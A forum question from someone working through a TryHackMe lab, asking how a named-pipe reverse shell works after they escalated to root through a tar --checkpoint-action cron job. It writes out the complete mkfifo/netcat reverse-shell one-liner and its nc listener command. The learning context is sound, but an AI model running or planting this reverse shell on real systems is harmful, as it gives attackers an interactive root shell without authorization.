Comments on Reverse shell with named pipe and netcat
Post
Reverse shell with named pipe and netcat
+5
−0
This blog post describes a privilege escalation, exploiting tar
's --checkpoint-action
option. The privilege escalation is used to solve a TryHackMe challenge.
The root user calls tar
via cron
which causes a script with the following content to run (I adapted the script a bit):
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 4445 > /tmp/f
I'm trying to wrap my head around the interaction between cat
, sh
, netcat, and the named pipe /tmp/f
.
Here's my literal reading of the command:
- Create a new named pipe at
/tmp/f
. - Write the contents of
/tmp/f
to an interactive shell. - Write the output of the shell to netcat.
- The output of netcat is written to the named pipe
/tmp/f
.
After running the command and creating a listening netcat server locally with nc -lvnp 4445
I indeed got root access.
I have a rough intuition that the steps above create an input/output loop between netcat and the shell but I'd love to deepen my knowledge on how this works.
1 comment thread